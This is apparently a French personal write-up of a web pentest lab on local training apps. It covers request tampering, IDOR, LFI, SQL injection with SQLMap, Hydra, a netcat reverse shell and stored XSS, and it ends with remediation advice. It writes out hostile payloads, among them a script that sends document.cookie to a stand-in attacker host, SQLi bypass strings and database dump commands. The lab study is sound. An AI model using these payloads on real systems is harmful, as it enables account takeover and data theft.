Introduction#
Ce projet transforme un ensemble de labs web en un projet personnel complet autour du pentest applicatif.
L’objectif est de documenter plusieurs scénarios d’exploitation web réalistes, depuis la manipulation de requêtes HTTP jusqu’à la compromission d’un compte administrateur via XSS stockée.
Les exercices couvrent plusieurs familles de vulnérabilités OWASP:
- mauvaise gestion des contrôles d’accès
- injection SQL
- inclusion de fichiers locaux
- XSS stockée
- session hijacking
- exposition de secrets applicatifs
Environnement#
Les applications vulnérables sont exposées via plusieurs virtual hosts locaux:
tp1.esdown.localtp2.esdown.localtp3.esdown.localtp4.esdown.local
Les plateformes d’entraînement utilisées incluent notamment:
- bWAPP
- DVWA
- OWASP Juice Shop
- OWASP WebGoat
- applications custom vulnérables
Outils utilisés:
| Outil | Usage |
|---|---|
| Burp Suite | interception, modification et rejeu de requêtes |
| Gobuster | découverte de répertoires et fichiers |
| Hydra | test contrôlé de brute force |
| SQLMap | exploitation automatisée SQLi |
| Netcat | reverse shell |
| Meterpreter | post-exploitation en lab |
| Browser DevTools | analyse client-side |
TP1 - Manipulation avancée de requêtes HTTP#
Le premier scénario vise à comprendre la mécanique HTTP en profondeur.
Objectifs:
- intercepter une requête
- modifier la méthode HTTP
- manipuler les headers
- ajouter un paramètre POST
- contourner une logique applicative faible
Interception avec Burp Suite#
Burp Suite est configuré comme proxy HTTP.
La requête est interceptée, puis analysée:
GET /challenge HTTP/1.1
Host: tp1.esdown.local
User-Agent: Mozilla/5.0
Modification de méthode#
Une logique applicative peut parfois dépendre uniquement de la méthode utilisée.
Exemple:
POST /challenge HTTP/1.1
Host: tp1.esdown.local
Content-Type: application/x-www-form-urlencoded
Manipulation des headers#
Headers testés:
User-Agent: admin
Referer: http://tp1.esdown.local/admin
Content-Type: application/x-www-form-urlencoded
Ce type d’exercice montre pourquoi les headers client ne doivent jamais être utilisés comme source de confiance.
TP2 - Chaîne d’exploitation web complète#
Le second scénario combine plusieurs vulnérabilités dans une chaîne d’attaque.
Chaîne simplifiée:
- création d’un utilisateur
- découverte d’endpoints
- exploitation d’une IDOR
- exploitation d’une LFI
- tentative de RFI
- reverse shell
- post-exploitation
- exfiltration contrôlée du code source
- analyse de secrets
- exploration système
Énumération#
Découverte de répertoires:
gobuster dir -u http://tp2.esdown.local/ \
-w /usr/share/wordlists/dirb/big.txt \
-x php -b 400,401,403,404
Objectifs:
- trouver les pages cachées
- identifier les endpoints utilisateurs
- repérer les fichiers PHP
- comprendre les rôles et flux applicatifs
IDOR - Insecure Direct Object Reference#
Une IDOR apparaît lorsqu’une ressource est accessible via un identifiant modifiable sans contrôle d’autorisation suffisant.
Exemple conceptuel:
GET /profile.php?id=2 HTTP/1.1
Host: tp2.esdown.local
Si un utilisateur peut changer id=2 en id=1 et accéder au profil d’un autre utilisateur, l’application présente une faille de contrôle d’accès.
Impact:
- fuite de données utilisateurs
- accès à des objets non autorisés
- escalade fonctionnelle
LFI - Local File Inclusion#
Une LFI permet de lire des fichiers locaux depuis le serveur.
Exemple conceptuel:
GET /view.php?page=../../../../etc/passwd HTTP/1.1
Host: tp2.esdown.local
Fichiers intéressants en lab:
/etc/passwd
/var/www/html/config.php
/var/log/apache2/access.log
Risques:
- fuite de code source
- exposition de credentials
- pivot vers RCE si les logs ou uploads sont exploitables
Reverse shell et post-exploitation#
Après identification d’un chemin exploitable, un reverse shell peut être déclenché en environnement contrôlé.
Listener:
nc -lvnp 4444
Stabilisation:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Post-exploitation:
id
hostname
pwd
ls -la
find /var/www -type f -name "*.php"
Analyse du code source#
L’accès au code source permet de comprendre la logique applicative et de retrouver des secrets.
Points à rechercher:
- identifiants hardcodés
- clés API
- secrets JWT
- credentials base de données
- fonctions dangereuses (
eval,system,exec) - absence de validation serveur
TP3 - SQL Injection#
Le troisième scénario se concentre sur une injection SQL.
Objectifs:
- détecter une injection
- contourner une authentification
- énumérer la base
- extraire des données sensibles
- comprendre l’impact métier
Test manuel#
Payload classique:
' OR '1'='1
Exemple dans un champ login:
admin' OR '1'='1-- -
Exploitation avec SQLMap#
sqlmap -u "http://tp3.esdown.local/login.php" \
--data="username=test&password=test" \
--batch --dbs
Énumération:
sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" --tables
sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" -T users --dump
Impact:
- contournement d’authentification
- extraction d’utilisateurs
- extraction de partenaires ou données métier
- risque de compromission complète si le compte DB est trop privilégié
TP4 - XSS stockée et compromission admin#
Le quatrième scénario documente une XSS stockée menant au vol de cookie administrateur.
Force brute contrôlée#
Une tentative Hydra est réalisée contre le formulaire de login, mais ne donne pas de résultat valide.
hydra -l admin -P admin-pass.txt tp4.esdown.local http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
Cela confirme que la compromission ne vient pas d’un mot de passe faible dans ce scénario.
Découverte de la XSS stockée#
Une zone de commentaire ou de profil accepte du HTML/JavaScript sans encodage correct.
Payload de test:
<script>alert(1)</script>
Si le script se rejoue lors de la consultation par un autre utilisateur, la faille est stockée.
Vol de cookie en lab#
Payload conceptuel:
<script>
fetch('http://ATTACKER:8000/?c=' + document.cookie)
</script>
Listener:
python3 -m http.server 8000
Impact:
- vol de session
- usurpation du compte administrateur
- modification de mot de passe
- accès à des fonctions privilégiées
Session hijacking#
Une fois le cookie récupéré dans le lab, il est réinjecté dans le navigateur.
Étapes:
- récupérer la valeur du cookie
- ouvrir DevTools
- remplacer le cookie de session
- recharger la page admin
Résultat attendu:
- accès administrateur sans connaître le mot de passe
Vulnérabilités identifiées#
| Vulnérabilité | Impact | Correction |
|---|---|---|
| IDOR | accès à des ressources non autorisées | vérifier les droits côté serveur |
| LFI | lecture de fichiers locaux | whitelist stricte des fichiers autorisés |
| SQLi | extraction DB / bypass auth | requêtes préparées |
| XSS stockée | vol de session admin | output encoding + CSP |
| session faible | hijacking | cookies HttpOnly, Secure, SameSite |
Recommandations défensives#
Côté développement#
- utiliser des requêtes préparées
- encoder toutes les sorties HTML
- valider les entrées côté serveur
- centraliser les contrôles d’autorisation
- ne jamais faire confiance aux headers client
Côté infrastructure#
- isoler les applications vulnérables
- protéger les interfaces admin
- durcir les cookies
- journaliser les actions sensibles
- détecter les patterns d’exploitation
Côté SOC#
À surveiller:
- payloads SQLi dans les logs
<script>dans les champs utilisateurs- accès anormaux à
/etc/passwd - création soudaine de sessions admin
- requêtes vers IP externe depuis une page admin
Ce que ce projet m’a apporté#
Ce projet m’a permis de travailler une chaîne web complète:
- interception HTTP
- exploitation manuelle
- automatisation contrôlée
- post-exploitation web
- analyse de code source
- raisonnement défensif OWASP
Conclusion#
Ce lab montre qu’une application web vulnérable ne tombe pas toujours à cause d’une seule faille critique. C’est souvent l’enchaînement de faiblesses qui permet d’obtenir un impact majeur.
La correction doit donc combiner secure coding, contrôle d’accès, gestion de session, monitoring et tests réguliers.